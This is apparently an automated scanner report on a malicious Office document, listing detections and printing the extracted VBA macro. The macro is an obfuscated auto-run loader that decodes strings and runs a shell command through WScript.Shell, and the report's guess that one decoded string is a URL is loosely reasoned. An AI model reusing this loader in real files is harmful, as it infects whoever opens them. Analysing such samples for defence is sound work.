MALICIOUS
344
Risk Score
Malware Insights
MITRE ATT&CK
T1059.005 Visual Basic
T1203 Exploitation for Client Execution
The file contains heavily obfuscated VBA macros, including an auto-exec loader within the Workbook_Open subroutine. The script utilizes CreateObject and CallByName to execute a dynamically constructed command, likely a PowerShell command, indicated by the heuristic 'OLE_VBA_PCODE_AUTOEXEC_EXEC'. The obfuscated string '928E9EADA4ABAF698EA3A0A7A7' is likely a reference to 'WScript.Shell', and '8E7C828D9A8785' is a deobfuscated string used to call a function that likely resolves to a malicious URL or command.
Heuristics 10
-
ClamAV: Xls.Malware.Valyria-6700357-0 critical CLAMAV_DETECTIONClamAV detected this file as malware: Xls.Malware.Valyria-6700357-0
-
VBA macros detected medium 6 related findings OLE_VBA_MACROSDocument contains VBA macro code
-
Obfuscated auto-exec VBA loader critical OLE_VBA_OBFUSCATED_AUTOEXEC_LOADERAuto-exec VBA reconstructs strings with a heavy custom decoder (numeric char-array, repeated hex-string decode, or junk-token Replace removal) and feeds them to a COM-instantiation or execution sink. This obfuscated-loader shape keeps CreateObject/Shell/URL indicators out of the macro source.
-
Document_Open macro high OLE_VBA_DOCOPENDocument_Open macro
-
Workbook_Open macro high OLE_VBA_WBOPENWorkbook_Open macro
-
CreateObject call high OLE_VBA_CREATEOBJCreateObject call
-
CallByName call high OLE_VBA_CALLBYNAMECallByName call
-
VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXECCompiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
-
Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGEOne or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
-
Embedded URL info EMBEDDED_URLOne or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source) | 3784 bytes |
SHA-256: 1e74bf434f7dc5f9a08d49ba5b7460e35318cf360cb57b7a8493e45c0878ea8d |
|||
|
Detection
ClamAV:
No threats found
Obfuscation or payload:
likely
Carved artifact contains 4 long base64-like blob(s).
|
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Option Explicit
Private Function ac0I4YNKJG0() As String
Dim aac0I4YNKJG0 As String
aac0I4YNKJG0 = "9D8875719D9D899D9D9D9D9DB762989D9D9DA36B9D9D9D9D9D9D6D929D876C9D9D9D90C29D9D9D9D9D77847DD7776C979D7D9DA7AA9DDCB89D9D9D79B8B59D9D9DCF84659F9D8CC59891669D9DC19D9D5F9D9D67D69D9D8F9D67CB9D9D9CD39DDDAC659D659D9D9D8D6D779D9D9D8B87A878BD9DD58C9F9D9DB1959DAED49D9D9D7572D79D9D619D76A79D9D9D9DA39E9D9D9D9D7FAE6A8F9D9D9D8C9D9D9D826E9D769D9D7DB99DBD9D9DB2C59D9DA79D9D9D749D9D9D65A59DA4A19DD59D9DBBDB9D856268DC9D9D9DC9A89D859D9D619D6C88799D6EC69D9D76A39DB29D9D9DB87F9D9DC39D8574B99DC7777CD49DD19DA7ADB19D9D749D7F9DC8D79D74D99DCDD09DC97EA1D960639DB19D9D9D9DD29D9D9D9D5F9D699D9D9D"
ac0I4YNKJG0 = aac0I4YNKJG0
End Function
Sub Workbook_Open()
Application.Run "ThisWorkbook." & F_GNO("8E7C828D9A8785")
End Sub
Public Sub ABM_IGJ()
Dim WY_XL As Object: Set WY_XL = VBA.CreateObject(F_GNO("928E9EADA4ABAF698EA3A0A7A7"))
CallByName WY_XL, "Run", VbMethod, F_GNO(ActiveDocument.Variables("W0SSB").Value), 0, True
End Sub
Private Function acGWZKVY69G() As String
Dim aacGWZKVY69G As String
aacGWZKVY69G = "9D8875719D9D899D9D9D9D9DB762989D9D9DA36B9D9D9D9D9D9D6D929D876C9D9D9D90C29D9D9D9D9D77847DD7776C979D7D9DA7AA9DDCB89D9D9D79B8B59D9D9DCF84659F9D8CC59891669D9DC19D9D5F9D9D67D69D9D8F9D67CB9D9D9CD39DDDAC659D659D9D9D8D6D779D9D9D8B87A878BD9DD58C9F9D9DB1959DAED49D9D9D7572D79D9D619D76A79D9D9D9DA39E9D9D9D9D7FAE6A8F9D9D9D8C9D9D9D826E9D769D9D7DB99DBD9D9DB2C59D9DA79D9D9D749D9D9D65A59DA4A19DD59D9DBBDB9D856268DC9D9D9DC9A89D859D9D619D6C88799D6EC69D9D76A39DB29D9D9DB87F9D9DC39D8574B99DC7777CD49DD19DA7ADB19D9D749D7F9DC8D79D74D99DCDD09DC97EA1D960639DB19D9D9D9DD29D9D9D9D5F9D699D9D9D"
acGWZKVY69G = aacGWZKVY69G
End Function
Public Sub Document_Open()
Application.Run F_GNO("8E7C828D9A8785")
End Sub
Public Function F_GNO(ByVal WY_XL As String)
Dim O_K As String
Dim CUG_RSU As Long
For CUG_RSU = 1 To Len(WY_XL) Step 2
O_K = O_K & Chr(CLng(Chr(38) & Chr(72) & Mid(WY_XL, CUG_RSU, 2)) - 59)
Next
F_GNO = O_K
End Function
Private Function ac3D0DRXDTL() As String
Dim aac3D0DRXDTL As String
aac3D0DRXDTL = "9D8875719D9D899D9D9D9D9DB762989D9D9DA36B9D9D9D9D9D9D6D929D876C9D9D9D90C29D9D9D9D9D77847DD7776C979D7D9DA7AA9DDCB89D9D9D79B8B59D9D9DCF84659F9D8CC59891669D9DC19D9D5F9D9D67D69D9D8F9D67CB9D9D9CD39DDDAC659D659D9D9D8D6D779D9D9D8B87A878BD9DD58C9F9D9DB1959DAED49D9D9D7572D79D9D619D76A79D9D9D9DA39E9D9D9D9D7FAE6A8F9D9D9D8C9D9D9D826E9D769D9D7DB99DBD9D9DB2C59D9DA79D9D9D749D9D9D65A59DA4A19DD59D9DBBDB9D856268DC9D9D9DC9A89D859D9D619D6C88799D6EC69D9D76A39DB29D9D9DB87F9D9DC39D8574B99DC7777CD49DD19DA7ADB19D9D749D7F9DC8D79D74D99DCDD09DC97EA1D960639DB19D9D9D9DD29D9D9D9D5F9D699D9D9D"
ac3D0DRXDTL = aac3D0DRXDTL
End Function
Sub SAGR_LJ()
ABM_IGJ
End Sub
Private Function ac2NXD3Y48W() As String
Dim aac2NXD3Y48W As String
aac2NXD3Y48W = "9D8875719D9D899D9D9D9D9DB762989D9D9DA36B9D9D9D9D9D9D6D929D876C9D9D9D90C29D9D9D9D9D77847DD7776C979D7D9DA7AA9DDCB89D9D9D79B8B59D9D9DCF84659F9D8CC59891669D9DC19D9D5F9D9D67D69D9D8F9D67CB9D9D9CD39DDDAC659D659D9D9D8D6D779D9D9D8B87A878BD9DD58C9F9D9DB1959DAED49D9D9D7572D79D9D619D76A79D9D9D9DA39E9D9D9D9D7FAE6A8F9D9D9D8C9D9D9D826E9D769D9D7DB99DBD9D9DB2C59D9DA79D9D9D749D9D9D65A59DA4A19DD59D9DBBDB9D856268DC9D9D9DC9A89D859D9D619D6C88799D6EC69D9D76A39DB29D9D9DB87F9D9DC39D8574B99DC7777CD49DD19DA7ADB19D9D749D7F9DC8D79D74D99DCDD09DC97EA1D960639DB19D9D9D9DD29D9D9D9D5F9D699D9D9D"
ac2NXD3Y48W = aac2NXD3Y48W
End Function
|
|||
Open this report in the interactive analyzer, or submit your own file for analysis.